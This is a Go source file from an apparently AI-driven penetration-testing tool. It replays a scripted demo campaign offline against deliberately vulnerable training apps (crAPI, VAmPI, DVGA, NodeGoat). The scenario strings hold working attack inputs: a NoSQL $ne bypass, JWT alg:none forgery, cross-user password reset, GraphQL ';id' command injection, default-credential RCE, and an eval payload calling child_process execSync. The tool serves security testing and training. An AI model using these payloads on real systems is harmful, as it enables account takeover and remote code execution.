package engine

import (
	"context"
	"encoding/json"
	"fmt"
	"os"
	"sort"
	"strconv"
	"strings"
	"time"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/pipeline"
	"github.com/google/uuid"
)

// RunDemoReplay replays a real campaign entirely offline — no network, no LLM,
// no API key, no Docker. It emits the exact same CampaignEvent stream a live
// swarm run produces (recon endpoints, phase changes, attack chains with the
// planner's reasoning, the exploit probe fan-out, graded findings, cost ticks),
// paced with small delays so both the terminal TUI and the web dashboard
// populate as if the swarm were running for real. Built for demos where venue
// wifi (or anything else) can't be trusted. It is API-compatible with
// Runner.RunSwarm so the CLI can swap it in behind --demo.
//
// The scenario replayed is chosen by cc.DemoTarget (one of DemoScenarioKeys);
// empty/unknown defaults to crAPI. Every vulnerability shown is a REAL, known
// weakness of that target — the chains mirror the deterministic playbooks the
// live swarm runs (internal/agent/recon/apiprofile_*_chains.go), not fiction.
//
// Pacing scales with PENTESTSWARM_DEMO_SPEED (default 1.0; >1 is faster, e.g.
// 4 for a quick smoke test, 0.5 to slow it down on stage).
func RunDemoReplay(ctx context.Context, cc CampaignConfig, onEvent EventCallback) error {
	speed := 1.0
	if v := os.Getenv("PENTESTSWARM_DEMO_SPEED"); v != "" {
		if f, err := strconv.ParseFloat(v, 64); err == nil && f > 0 {
			speed = f
		}
	}
	sc := demoScenarioFor(cc.DemoTarget)
	campaignID := uuid.New()
	r := &demoReplayer{ctx: ctx, stop: cc.StopRequested, onEvent: onEvent, campaignID: campaignID, speed: speed}
	r.runScenario(sc)
	return nil
}

type demoReplayer struct {
	ctx        context.Context
	stop       <-chan struct{}
	onEvent    EventCallback
	campaignID uuid.UUID
	speed      float64
}

// wait sleeps for d (scaled by speed), returning false if the run was cancelled
// (TUI quit / context done) or the killswitch fired — so the demo stops
// promptly like a real run.
func (r *demoReplayer) wait(ms int) bool {
	d := time.Duration(float64(ms)/r.speed) * time.Millisecond
	t := time.NewTimer(d)
	defer t.Stop()
	select {
	case <-r.ctx.Done():
		return false
	case <-r.stop:
		return false
	case <-t.C:
		return true
	}
}

func (r *demoReplayer) emit(t pipeline.EventType, agent, detail string, data any) bool {
	ev := pipeline.CampaignEvent{
		ID:         uuid.New(),
		CampaignID: r.campaignID,
		Timestamp:  time.Now(),
		EventType:  t,
		AgentName:  agent,
		Detail:     detail,
	}
	if data != nil {
		ev.Data, _ = json.Marshal(data)
	}
	if r.onEvent != nil {
		r.onEvent(ev)
	}
	return true
}

// step emits an event then waits; returns false to abort the whole replay.
func (r *demoReplayer) step(delayMs int, t pipeline.EventType, agent, detail string, data any) bool {
	r.emit(t, agent, detail, data)
	return r.wait(delayMs)
}

func fMap(sev, title, cat string, cvss float64, conf, desc string) map[string]any {
	return map[string]any{"severity": sev, "title": title, "category": cat, "cvss": cvss, "confidence": conf, "description": desc}
}

// chainStarted builds an EventChainStarted payload matching the live swarm's
// (internal/engine/swarm_runner.go): id, name, steps, plus the planner's
// reasoning so the demo exercises the chain-reasoning panel too.
func chainStarted(id, name, reasoning string, steps [][2]string) map[string]any {
	ss := make([]map[string]string, 0, len(steps))
	for _, s := range steps {
		ss = append(ss, map[string]string{"name": s[0], "technique": s[1]})
	}
	return map[string]any{"id": id, "name": name, "reasoning": reasoning, "steps": ss}
}
func chainStep(id, step string, ok bool, proof ...string) map[string]any {
	m := map[string]any{"chain_id": id, "step": step, "success": ok}
	if len(proof) > 0 && proof[0] != "" {
		m["proof"] = proof[0]
	}
	return m
}
func probeData(target string, ok bool) map[string]any {
	return map[string]any{"target": target, "ok": ok}
}

// ── scenario model ──────────────────────────────────────────────────────────

// demoStep is one step of a demo attack chain: a human name, its MITRE
// technique, and an optional proof snippet shown under the step.
type demoStep struct {
	name, technique, proof string
}

// demoChain is one attack chain the demo replays: the planner's reasoning for
// chaining it, the steps, the graded finding it yields, and an optional probe
// fan-out (the BOLA-style id sweep) injected after step probeAfterStep.
type demoChain struct {
	name      string
	reasoning string
	steps     []demoStep
	// finding
	sev, title, category, confidence, desc string
	cvss                                   float64
	// optional probe fan-out
	probePrefix, probeSuffix      string
	probeN, probeHits, probeAfter int
}

// demoScenario is a full offline campaign against one target: the recon surface
// and the chains to run. Every chain is a real, known weakness of the target.
type demoScenario struct {
	key, display, host string
	fingerprint        string // the nuclei recon-result line
	flagNote           string // the classifier's one-line "what I'm flagging"
	endpoints          []string
	chains             []demoChain
	spend              float64 // total LLM spend shown over the run
}

func (r *demoReplayer) runScenario(sc demoScenario) {
	T := sc.host

	// ── Boot ──────────────────────────────────────────────────────────────
	if !r.step(500, pipeline.EventStateChange, "engine", "Swarm campaign initialized", nil) {
		return
	}
	if !r.step(700, pipeline.EventThought, "orchestrator", "Swarm deployed against "+sc.display+" ("+T+") — seeding the blackboard", nil) {
		return
	}

	// ── Recon ───────────────────────────────────────────────────────────────
	if !r.step(500, pipeline.EventStateChange, "recon", "recon agent scanning — mapping API surface", nil) {
		return
	}
	if !r.step(400, pipeline.EventToolCall, "recon", fmt.Sprintf("httpx — probing %s (%d endpoints)", T, len(sc.endpoints)), nil) {
		return
	}
	for _, e := range sc.endpoints {
		if !r.step(170, pipeline.EventEndpointDiscovered, "recon", e, nil) {
			return
		}
	}
	if !r.step(600, pipeline.EventToolResult, "recon", sc.fingerprint, nil) {
		return
	}

	// ── Classify ──────────────────────────────────────────────────────────
	if !r.step(500, pipeline.EventStateChange, "classifier", "classifier grading discovered surface by severity", nil) {
		return
	}
	if !r.step(900, pipeline.EventThought, "classifier",
		fmt.Sprintf("%d endpoints scored · %s", len(sc.endpoints), sc.flagNote), nil) {
		return
	}

	// ── Plan + Execute ──────────────────────────────────────────────────────
	if !r.step(500, pipeline.EventStateChange, "exploit", "planning attack chains from graded findings", nil) {
		return
	}
	if !r.step(700, pipeline.EventStateChange, "exploit", "executing chains — swarm fanning out", nil) {
		return
	}

	// The exploit stage is the heart of the demo (and its best visual — the probe
	// fan-out), so give it real airtime: every chain fans out a sweep, and after
	// the chains the swarm keeps probing/verifying at scale until the stage has
	// run at least exploitFloor, so an end-to-end demo comfortably clears a
	// minute. The floor scales with PENTESTSWARM_DEMO_SPEED so rehearsals at e.g.
	// speed=4 still finish fast.
	prePre, preSuf := sc.probeBase()
	exploitStart := time.Now()
	midChain := len(sc.chains) / 2
	for ci, ch := range sc.chains {
		id := uuid.NewString()
		stepPairs := make([][2]string, 0, len(ch.steps))
		for _, s := range ch.steps {
			stepPairs = append(stepPairs, [2]string{s.name, s.technique})
		}
		if !r.step(650, pipeline.EventChainStarted, "exploit", ch.name, chainStarted(id, ch.name, ch.reasoning, stepPairs)) {
			return
		}
		// Each chain fans out a probe sweep; chains that didn't specify one get a
		// default sweep over the target's id-bearing surface so every chain shows
		// the exploit swarm at work.
		pre, suf, pn, ph, pa := ch.probePrefix, ch.probeSuffix, ch.probeN, ch.probeHits, ch.probeAfter
		if pn == 0 {
			pre, suf, pn, ph, pa = prePre, preSuf, 22, 3, len(ch.steps)-1
			if pa < 0 {
				pa = 0
			}
		}
		for si, s := range ch.steps {
			if pn > 0 && si == pa {
				r.probeBurst(pre, suf, pn, ph)
				if r.aborted() {
					return
				}
			}
			if !r.step(560, pipeline.EventChainStep, "exploit", s.name, chainStep(id, s.name, true, s.proof)) {
				return
			}
		}
		if !r.step(1000, pipeline.EventFindingDiscovered, "exploit", ch.title,
			fMap(ch.sev, ch.title, ch.category, ch.cvss, ch.confidence, ch.desc)) {
			return
		}
		// A mid-run cost tick so the spend meter climbs like a real run.
		if ci == midChain && sc.spend > 0 {
			mid := sc.spend * 0.45
			if !r.step(400, pipeline.EventMilestone, "cost",
				fmt.Sprintf("spent $%.2f so far (142310 in / 0 cached / 8120 out)", mid), nil) {
				return
			}
		}
	}

	// Sustain the exploit fan-out until the stage hits its floor — the swarm
	// "verifies at scale" across the surface, keeping the probe mesh alive.
	if !r.exploitSustain(sc, exploitStart, exploitFloorMs) {
		return
	}

	// ── Report ──────────────────────────────────────────────────────────────
	if !r.step(700, pipeline.EventStateChange, "report", "report agent — assembling graded findings + evidence", nil) {
		return
	}
	if sc.spend > 0 {
		if !r.step(900, pipeline.EventMilestone, "cost",
			fmt.Sprintf("total spent $%.2f  (input 372014, cached 0, output 21993)", sc.spend), nil) {
			return
		}
	}
	r.step(200, pipeline.EventMilestone, "orchestrator",
		"Swarm campaign complete — "+summarizeFindings(sc.chains)+" — see ./reports", nil)
}

// summarizeFindings renders "N findings (a critical, b high, c medium, d low)"
// from the scenario's chains, skipping empty severity buckets.
func summarizeFindings(chains []demoChain) string {
	n := map[string]int{}
	for _, c := range chains {
		n[strings.ToLower(c.sev)]++
	}
	parts := []string{}
	for _, s := range []string{"critical", "high", "medium", "low"} {
		if n[s] > 0 {
			parts = append(parts, fmt.Sprintf("%d %s", n[s], s))
		}
	}
	return fmt.Sprintf("%d findings (%s)", len(chains), strings.Join(parts, ", "))
}

// probeBurst emits a fast spray of BOLA probe events (the exploit fan-out): n
// replays of harvested ids across an id-bearing endpoint, of which a few land
// (200). Mostly misses, like a real sweep. This is what populates the
// dashboard's probe-worker mesh and the TUI exploit fan.
func (r *demoReplayer) probeBurst(prefix, suffix string, n, hits int) {
	hitAt := map[int]bool{}
	if n > 0 {
		hitAt[n/5] = true
		hitAt[n/2] = true
		hitAt[(n*4)/5] = true
	}
	_ = hits
	for i := 0; i < n; i++ {
		id := demoVehicleIDs[i%len(demoVehicleIDs)]
		ok := hitAt[i]
		if !r.step(85, pipeline.EventProbe, "exploit", prefix+id+suffix, probeData(prefix+id+suffix, ok)) {
			return
		}
	}
}

func (r *demoReplayer) aborted() bool {
	select {
	case <-r.ctx.Done():
		return true
	case <-r.stop:
		return true
	default:
		return false
	}
}

// exploitFloorMs is the minimum wall-clock the exploit stage runs for (chains +
// sustain) at speed 1.0, so an end-to-end demo comfortably clears a minute. It
// is divided by PENTESTSWARM_DEMO_SPEED, so rehearsals stay quick.
const exploitFloorMs = 54000

// probeBase derives a plausible id-bearing endpoint prefix/suffix for the
// scenario's sustain + default sweeps (e.g. "/identity/api/v2/vehicle/" +
// "{id}" + "/location"), so the fan-out probes look like the target's surface.
func (sc demoScenario) probeBase() (string, string) {
	for _, e := range sc.endpoints {
		if i := strings.Index(e, "{"); i >= 0 {
			suf := ""
			if j := strings.Index(e, "}"); j >= 0 {
				suf = e[j+1:]
			}
			return e[:i], suf
		}
	}
	for _, e := range sc.endpoints {
		if e != "/" && !strings.HasPrefix(e, "http") {
			return strings.TrimRight(e, "/") + "/", ""
		}
	}
	return "/api/v1/object/", ""
}

// exploitSustain keeps the exploit fan-out alive — the swarm replaying harvested
// object references across the surface — until the exploit stage (measured from
// start) reaches the speed-scaled floor. This is what gives the demo's exploit
// phase real airtime and keeps the probe mesh busy. Returns false if aborted.
func (r *demoReplayer) exploitSustain(sc demoScenario, start time.Time, floorMs int) bool {
	floor := time.Duration(float64(floorMs)/r.speed) * time.Millisecond
	pre, suf := sc.probeBase()
	for i := 0; time.Since(start) < floor; i++ {
		if r.aborted() {
			return false
		}
		id := demoVehicleIDs[i%len(demoVehicleIDs)]
		target := pre + id + suf
		if !r.step(140, pipeline.EventProbe, "exploit", target, probeData(target, i%9 == 4)) {
			return false
		}
		// An occasional verification note so the feed isn't a monotone stream.
		if i > 0 && i%22 == 0 {
			ep := "the attack surface"
			if len(sc.endpoints) > 0 {
				ep = sc.endpoints[(i/22)%len(sc.endpoints)]
			}
			if !r.step(260, pipeline.EventThought, "exploit",
				fmt.Sprintf("verifying object-level access across %s — %d references swept", ep, i), nil) {
				return false
			}
		}
	}
	return true
}

// demoVehicleIDs are plausible object UUIDs the fan-out "replays". Static so the
// demo is deterministic.
var demoVehicleIDs = []string{
	"4bafdcc2-8b6b-4f1a-9d1e-2f2a1e7c9a01", "9c1e77aa-3d21-4c88-b0f2-6a5d0e2b7c3d",
	"e2b4a1d9-77c3-4a10-8f6b-1c9e3d5a2f80", "1a7f0c93-6e2d-4b55-9a3c-8d4e1f6b0a22",
	"7d3e9b41-2c8a-4f60-b1d7-3e9c6a2b5d14", "b58c2e07-9a1f-4d3b-8c6e-2a7f1d0b9e46",
	"3f9a1c68-4b2d-4e70-9f1a-6c8b3d2e7a05", "c6d2b93e-1f7a-4c48-b9e2-5a3d8f1c0b67",
}

// ── scenario registry ─────────────────────────────────────────────────────

// demoScenarios holds every offline demo target, keyed by its short name. Each
// mirrors the real, confirmed weaknesses of that intentionally-vulnerable app.
var demoScenarios = map[string]demoScenario{
	"crapi":    crapiScenario(),
	"vampi":    vampiScenario(),
	"dvga":     dvgaScenario(),
	"nodegoat": nodegoatScenario(),
}

// demoScenarioOrder is the display order of the demo targets in pickers.
var demoScenarioOrder = []string{"crapi", "vampi", "dvga", "nodegoat"}

// DemoScenarioKeys returns the demo target keys in display order.
func DemoScenarioKeys() []string {
	out := make([]string, 0, len(demoScenarioOrder))
	for _, k := range demoScenarioOrder {
		if _, ok := demoScenarios[k]; ok {
			out = append(out, k)
		}
	}
	// Defensive: include any registered scenario missing from the order list.
	for k := range demoScenarios {
		found := false
		for _, o := range out {
			if o == k {
				found = true
				break
			}
		}
		if !found {
			out = append(out, k)
		}
	}
	sort.SliceStable(out, func(i, j int) bool { return orderIndex(out[i]) < orderIndex(out[j]) })
	return out
}

func orderIndex(k string) int {
	for i, o := range demoScenarioOrder {
		if o == k {
			return i
		}
	}
	return len(demoScenarioOrder)
}

// DemoScenarioDisplay returns a human label for a demo target key ("" if none).
func DemoScenarioDisplay(key string) string {
	if sc, ok := demoScenarios[key]; ok {
		return sc.display
	}
	return ""
}

// DemoScenarioExists reports whether key names a known demo target.
func DemoScenarioExists(key string) bool {
	_, ok := demoScenarios[strings.ToLower(strings.TrimSpace(key))]
	return ok
}

func demoScenarioFor(key string) demoScenario {
	if sc, ok := demoScenarios[strings.ToLower(strings.TrimSpace(key))]; ok {
		return sc
	}
	return demoScenarios["crapi"]
}

// ── scenarios (real vulnerabilities of each target) ─────────────────────────

// crapiScenario — OWASP crAPI: BOLA on vehicle location, NoSQL coupon bypass,
// excessive data exposure in the community feed, and JWT alg:none → account
// takeover. Mirrors internal/agent/recon/apiprofile_crapi.go.
func crapiScenario() demoScenario {
	return demoScenario{
		key: "crapi", display: "OWASP crAPI", host: "crapi-demo.local",
		fingerprint: "nuclei — 11 endpoints fingerprinted (Node/Java/Python services)",
		flagNote:    "flagging object-id and auth surfaces for exploitation",
		spend:       0.87,
		endpoints: []string{
			"http://crapi-demo.local/",
			"/identity/api/auth/login",
			"/identity/api/v2/user/dashboard",
			"/identity/api/v2/vehicle/vehicles",
			"/identity/api/v2/vehicle/{vehicleId}/location",
			"/community/api/v2/community/posts/recent",
			"/community/api/v2/coupon/validate-coupon",
			"/workshop/api/shop/products",
			"/workshop/api/shop/orders/{orderId}",
			"/workshop/api/merchant/contact_mechanic",
			"/identity/api/v2/admin/videos/{videoId}",
		},
		chains: []demoChain{
			{
				name:      "BOLA — cross-user vehicle location",
				reasoning: "Recon exposed /identity/api/v2/vehicle/{id}/location (an object id in the path) and a community feed that leaks other users' vehicle UUIDs. Object-level auth is the likeliest gap: authenticate normally, harvest a foreign vehicle id from the feed, then replay it at the location endpoint with our OWN token — if the server returns the victim's data, authorization is keyed on the token's identity, not the object's owner.",
				steps: []demoStep{
					{"authenticate as victim", "T1078", ""},
					{"read own vehicle id", "API1:2023", ""},
					{"harvest foreign object id", "API1:2023",
						"GET /community/api/v2/community/posts/recent\nHTTP 200 OK\n{\"posts\":[{\"author\":{\"email\":\"robot001@example.com\",\n  \"vehicleid\":\"4bae9968-ec7f-4de3-a3a0-ba1b2ab5e5e5\"}}]}  ← foreign vehicle id harvested"},
					{"replay foreign vehicle id", "API1:2023",
						"GET /identity/api/v2/vehicle/4bae9968-…/location  (attacker's own token)\nHTTP 200 OK\n{\"fullName\":\"Robot\",\"vehicleLocation\":{\"lat\":\"52.3765\",\"long\":\"4.9041\"}}  ← victim's LIVE GPS"},
				},
				probePrefix: "/identity/api/v2/vehicle/", probeSuffix: "/location", probeN: 34, probeHits: 3, probeAfter: 3,
				sev: "high", title: "BOLA — another user's live vehicle location", category: "broken_object_level_authorization", cvss: 8.1, confidence: "high",
				desc: "The swarm harvested a vehicle UUID belonging to another user from an earlier response and replayed it at /identity/api/v2/vehicle/{id}/location with its own session. The endpoint returned 200 with the victim's live GPS coordinates — broken object-level authorization (OWASP API1:2023).",
			},
			{
				name:      "NoSQL injection — coupon validation",
				reasoning: "validate-coupon accepts a JSON coupon_code and the community service is MongoDB-backed. If the value is interpolated into a query unsanitised, a Mongo operator object like {\"$ne\":null} will match any stored coupon and bypass validation.",
				steps: []demoStep{
					{"authenticate", "T1078", ""},
					{"POST validate-coupon {\"$ne\":null}", "T1190", ""},
					{"confirm coupon accepted", "T1190",
						"POST /community/api/v2/coupon/validate-coupon\n{\"coupon_code\":{\"$ne\":null}}\nHTTP 200 OK  {\"coupon_code\":\"TRAC075\",\"amount\":\"75\"}  ← $ne bypassed validation"},
				},
				sev: "high", title: "NoSQL injection — coupon validation bypass", category: "injection", cvss: 7.5, confidence: "high",
				desc: "POST /community/api/v2/coupon/validate-coupon with {\"coupon_code\":{\"$ne\":null}} returns a valid coupon. The MongoDB $ne operator is interpolated into the query unsanitised, bypassing coupon validation entirely.",
			},
			{
				name:      "Excessive data exposure — community feed",
				reasoning: "The feed response already leaked emails and vehicle ids during recon. Confirm the endpoint returns PII far beyond what the UI renders — a server-side over-exposure, not a UI bug.",
				steps: []demoStep{
					{"GET /community/api/v2/community/posts/recent", "API3:2023", ""},
					{"extract PII from response", "API3:2023",
						"8 users' PII exposed beyond the UI:\n  robot001@example.com · vehicleid 4bae9968-…\n  pogba006@example.com  · vehicleid 1c9b4f2a-…"},
				},
				sev: "medium", title: "Excessive data exposure — PII in community feed", category: "excessive_data_exposure", cvss: 5.3, confidence: "high",
				desc: "GET /community/api/v2/community/posts/recent returns other users' PII — email addresses and vehicle IDs — far beyond what the feed UI renders. Classic excessive data exposure (OWASP API3:2023).",
			},
			{
				name:      "JWT forgery — account takeover",
				reasoning: "The session JWT is attacker-visible and crAPI's identity service is known to mis-validate signatures. Try the two classic bypasses: an alg:none token (no signature) and the weak HS256 secret. Forge a token with role=admin and hit an admin-only route — a 200 proves full authentication bypass.",
				steps: []demoStep{
					{"decode session JWT", "T1552", ""},
					{"forge alg:none admin token", "T1548", ""},
					{"access admin dashboard", "T1078.004",
						"GET /identity/api/v2/admin  Authorization: Bearer <forged alg:none, role=admin>\nHTTP 200 OK  {\"role\":\"admin\",\"users\":[…]}  ← unsigned token accepted = account takeover"},
				},
				sev: "critical", title: "JWT alg:none accepted — full account takeover", category: "broken_authentication", cvss: 9.8, confidence: "high",
				desc: "The API accepts a JWT signed with alg:none (and separately the weak HS256 secret \"crapi\"). The swarm forged a token with the victim's sub and role=admin; /identity/api/v2/admin returned 200. Complete authentication bypass and account takeover (OWASP API2:2023).",
			},
		},
	}
}

// vampiScenario — VAmPI (erev0s/vampi, VULNERABLE=1): unauthenticated debug
// password dump, BFLA cross-user password reset → ATO, BOLA cross-user read,
// and mass-assignment admin. Mirrors apiprofile_vampi_chains.go (all confirmed
// live).
func vampiScenario() demoScenario {
	return demoScenario{
		key: "vampi", display: "VAmPI", host: "vampi-demo.local",
		fingerprint: "nuclei — Flask/Python API fingerprinted; debug + auth routes flagged",
		flagNote:    "flagging the unauthenticated _debug route and the password-update endpoint",
		spend:       0.41,
		endpoints: []string{
			"http://vampi-demo.local/",
			"/users/v1",
			"/users/v1/_debug",
			"/users/v1/register",
			"/users/v1/login",
			"/users/v1/{username}",
			"/users/v1/{username}/password",
			"/books/v1",
			"/createdb",
		},
		chains: []demoChain{
			{
				name:      "Excessive data exposure — unauthenticated /users/v1/_debug",
				reasoning: "An unauthenticated /users/v1/_debug route showed up in recon. Debug endpoints are frequently left enabled and dump raw records; GET it anonymously and check for a password field in the response.",
				steps: []demoStep{
					{"dump every user's credentials (no auth)", "T1213",
						"GET /users/v1/_debug\nHTTP 200 OK\n{\"users\":[{\"username\":\"name1\",\"email\":\"name1@…\",\"password\":\"pass1\"},{\"username\":\"name2\",\"password\":\"pass2\"},…]}  ← cleartext passwords, no auth"},
				},
				sev: "critical", title: "Unauthenticated password dump via /users/v1/_debug", category: "excessive_data_exposure", cvss: 9.1, confidence: "high",
				desc: "The /users/v1/_debug route is exposed with no authentication and returns every user record — username, email, and password — in cleartext. Any unauthenticated client can harvest the full credential set.",
			},
			{
				name:      "BFLA — cross-user password reset → account takeover",
				reasoning: "PUT /users/v1/{username}/password takes the victim's name in the path. If the handler trusts any valid token rather than checking the token owns that account, an ordinary attacker can reset someone else's password and log in as them. Register a throwaway user, log in, then reset name1's password and authenticate as name1.",
				steps: []demoStep{
					{"register throwaway attacker account", "T1136", ""},
					{"log in and capture the JWT (auth_token)", "T1078", "POST /users/v1/login → HTTP 200  {\"auth_token\":\"eyJ…\"}"},
					{"reset victim (name1) password with attacker token", "T1098",
						"PUT /users/v1/name1/password  Authorization: Bearer <attacker>\n{\"password\":\"Pwned@123\"}\nHTTP 204 No Content  ← accepted for a user we don't own"},
					{"account takeover: log in as name1", "T1078",
						"POST /users/v1/login  {\"username\":\"name1\",\"password\":\"Pwned@123\"}\nHTTP 200 OK  {\"auth_token\":\"eyJ…\"}  ← logged in as the victim"},
				},
				sev: "critical", title: "BFLA cross-user password reset → account takeover", category: "broken_function_level_authorization", cvss: 9.8, confidence: "high",
				desc: "VAmPI's PUT /users/v1/{username}/password does not verify the caller owns the account named in the path — it trusts any valid token. An ordinary user resets another user's password and logs in as them: full account takeover with no privileged access.",
			},
			{
				name:      "BOLA — cross-user record read",
				reasoning: "GET /users/v1/{username} returns a named user's record. With a plain attacker token, request another user (name2): if it returns their record, there's no object-level ownership check.",
				steps: []demoStep{
					{"register throwaway attacker account", "T1136", ""},
					{"log in and capture the JWT", "T1078", ""},
					{"read another user's (name2) record", "T1087",
						"GET /users/v1/name2  Authorization: Bearer <attacker>\nHTTP 200 OK  {\"username\":\"name2\",\"email\":\"name2@…\"}  ← someone else's record"},
				},
				probePrefix: "/users/v1/user_", probeSuffix: "", probeN: 16, probeHits: 3, probeAfter: 2,
				sev: "high", title: "BOLA — cross-user record read", category: "broken_object_level_authorization", cvss: 7.1, confidence: "high",
				desc: "GET /users/v1/{username} returns the named user's record to any authenticated caller with no object-level ownership check. An ordinary user reads other users' accounts at will.",
			},
			{
				name:      "Mass assignment — self-register as admin",
				reasoning: "The registration handler may bind unexpected JSON fields straight onto the user model. Send an extra \"admin\":true in the register body and verify it persists — a privileged flag the business logic never intends to grant.",
				steps: []demoStep{
					{"register {username,password,email,admin:true}", "T1136",
						"POST /users/v1/register  {\"username\":\"atk_…\",\"admin\":true,…}\nHTTP 200 OK  {\"message\":\"Successfully registered\"}"},
					{"log in as the self-made admin", "T1078",
						"GET /users/v1/_debug shows atk_… with admin=true  ← privileged field accepted at registration"},
				},
				sev: "high", title: "Mass assignment — self-register a privileged account", category: "mass_assignment", cvss: 8.1, confidence: "high",
				desc: "VAmPI's registration handler accepts and persists an undocumented client-supplied \"admin\":true field, so anyone can self-register a privileged account the business logic never grants.",
			},
		},
	}
}

// dvgaScenario — Damn Vulnerable GraphQL Application (dolevf/dvga): introspection
// enabled, systemDebug command injection, and systemDiagnostics RCE with the
// shipped default operator credentials. Mirrors apiprofile_dvga_chains.go.
func dvgaScenario() demoScenario {
	return demoScenario{
		key: "dvga", display: "DVGA (GraphQL)", host: "dvga-demo.local",
		fingerprint: "nuclei — GraphQL endpoint fingerprinted; introspection responds",
		flagNote:    "flagging the exposed GraphQL schema and its system* operations",
		spend:       0.33,
		endpoints: []string{
			"http://dvga-demo.local/",
			"/graphql",
			"/graphiql",
		},
		chains: []demoChain{
			{
				name:      "Information disclosure — GraphQL introspection enabled",
				reasoning: "A /graphql endpoint responded. Production GraphQL should disable introspection; try a __schema query anonymously — if it returns the full type/query/mutation list, it hands us the entire attack surface, including any sensitive system* operations.",
				steps: []demoStep{
					{"dump the GraphQL schema via introspection (no auth)", "T1613",
						"POST /graphql  {\"query\":\"{__schema{queryType{name} mutationType{name}}}\"}\nHTTP 200 OK  {\"data\":{\"__schema\":{\"queryType\":{\"name\":\"Query\"},…}}}  ← systemDebug, systemDiagnostics exposed"},
				},
				sev: "medium", title: "GraphQL introspection enabled — full schema disclosure", category: "information_disclosure", cvss: 5.3, confidence: "high",
				desc: "GraphQL introspection is left enabled, so any unauthenticated client can dump the full schema — every type, query, and mutation, including the sensitive system* operations (systemDebug, systemDiagnostics, systemUpdate). This hands an attacker the exact attack surface.",
			},
			{
				name:      "OS command injection — systemDebug",
				reasoning: "Introspection revealed systemDebug(arg). Such debug resolvers often concatenate the arg into a shell command. Inject a shell metacharacter — arg:\";id\" — and look for id(1) output appended to the process listing.",
				steps: []demoStep{
					{"inject `;id` into systemDebug to run an extra command", "T1059",
						"POST /graphql  {\"query\":\"query{systemDebug(arg:\\\";id\\\")}\"}\nHTTP 200 OK  …\\nuid=1000(dvga) gid=1000(dvga) groups=1000(dvga)  ← injected command ran"},
				},
				sev: "critical", title: "OS command injection via systemDebug", category: "injection", cvss: 9.8, confidence: "high",
				desc: "The systemDebug query passes its arg straight into a shell command without sanitisation, so a shell metacharacter injects additional commands. No authentication required. Proven by arg:\";id\" returning the injected id(1) output appended to the process listing.",
			},
			{
				name:      "RCE — systemDiagnostics with default operator credentials",
				reasoning: "systemDiagnostics(username,password,cmd) runs cmd on the server when given operator creds, and DVGA ships the default pair admin/changeme. Call it with those creds and cmd:\"id\" — a uid= in the response is arbitrary command execution.",
				steps: []demoStep{
					{"execute `id` via systemDiagnostics (default creds)", "T1059",
						"POST /graphql  {\"query\":\"query{systemDiagnostics(username:\\\"admin\\\",password:\\\"changeme\\\",cmd:\\\"id\\\")}\"}\nHTTP 200 OK  uid=1000(dvga) gid=1000(dvga)  ← RCE with shipped creds"},
				},
				sev: "critical", title: "RCE via systemDiagnostics default credentials", category: "os_command_execution", cvss: 9.8, confidence: "high",
				desc: "The systemDiagnostics query executes a caller-supplied cmd on the server when given operator credentials, and DVGA ships with the default pair admin/changeme. An attacker who knows those credentials runs arbitrary OS commands. Proven by systemDiagnostics(admin/changeme, cmd:\"id\") returning id(1) output.",
			},
		},
	}
}

// nodegoatScenario — OWASP NodeGoat (rbrayner/nodegoat): the cross-user
// allocations IDOR (confirmed live, apiprofile_nodegoat_chains.go) plus the
// signature server-side JS injection on the contributions page — both are real,
// documented NodeGoat weaknesses.
func nodegoatScenario() demoScenario {
	return demoScenario{
		key: "nodegoat", display: "OWASP NodeGoat", host: "nodegoat-demo.local",
		fingerprint: "nuclei — Express/Node app fingerprinted; cookie-session auth",
		flagNote:    "flagging the object-id route /allocations/:userId and the contributions calculator",
		spend:       0.29,
		endpoints: []string{
			"http://nodegoat-demo.local/",
			"/login",
			"/signup",
			"/dashboard",
			"/profile",
			"/contributions",
			"/allocations/{userId}",
			"/memos",
			"/benefits",
		},
		chains: []demoChain{
			{
				name:      "IDOR — cross-user financial allocations",
				reasoning: "/allocations/:userId carries the user id in the path and NodeGoat guards it only with an isLoggedIn check. Register a throwaway account (which gets a later userId), capture the session cookie, then request a seeded victim's id (2) — if it returns their allocations, there's no ownership check.",
				steps: []demoStep{
					{"register attacker account, capture session cookie", "T1136", "POST /signup → 302, Set-Cookie: connect.sid=s%3A…  ← session established"},
					{"read victim user 2's allocations with attacker session", "T1087",
						"GET /allocations/2  Cookie: connect.sid=…\nHTTP 200 OK  {\"stocks\":30,\"funds\":40,\"bonds\":30}  ← another user's retirement allocations"},
				},
				probePrefix: "/allocations/", probeSuffix: "", probeN: 12, probeHits: 3, probeAfter: 1,
				sev: "high", title: "IDOR — cross-user financial allocations disclosure", category: "broken_object_level_authorization", cvss: 7.1, confidence: "high",
				desc: "The /allocations/:userId route checks only that the caller is logged in, not that the requested userId is their own. A freshly registered attacker requests a seeded victim's id and reads that user's retirement-fund allocations — stocks, funds, and bonds (OWASP A01 broken access control).",
			},
			{
				name:      "Server-side JS injection — contributions calculator (RCE)",
				reasoning: "NodeGoat's contributions handler runs the submitted preTax/afterTax/roth values through eval() server-side. A value that isn't a number but a JS expression will execute in the Node process — classic server-side JS injection leading to RCE.",
				steps: []demoStep{
					{"log in as the attacker account", "T1078", ""},
					{"submit a JS expression in the preTax field", "T1059",
						"POST /contributions  preTax=global.process.mainModule.require('child_process').execSync('id')\nHTTP 200 OK  → page renders: uid=1000(node) gid=1000(node)  ← eval() executed our code"},
				},
				sev: "critical", title: "Server-side JS injection (eval) in contributions → RCE", category: "injection", cvss: 9.8, confidence: "high",
				desc: "NodeGoat's contributions handler passes the submitted retirement-contribution fields to eval() on the server, so a crafted JavaScript expression executes in the Node process. The swarm submitted a child_process payload and recovered id(1) output — remote code execution (OWASP A03 injection).",
			},
		},
	}
}
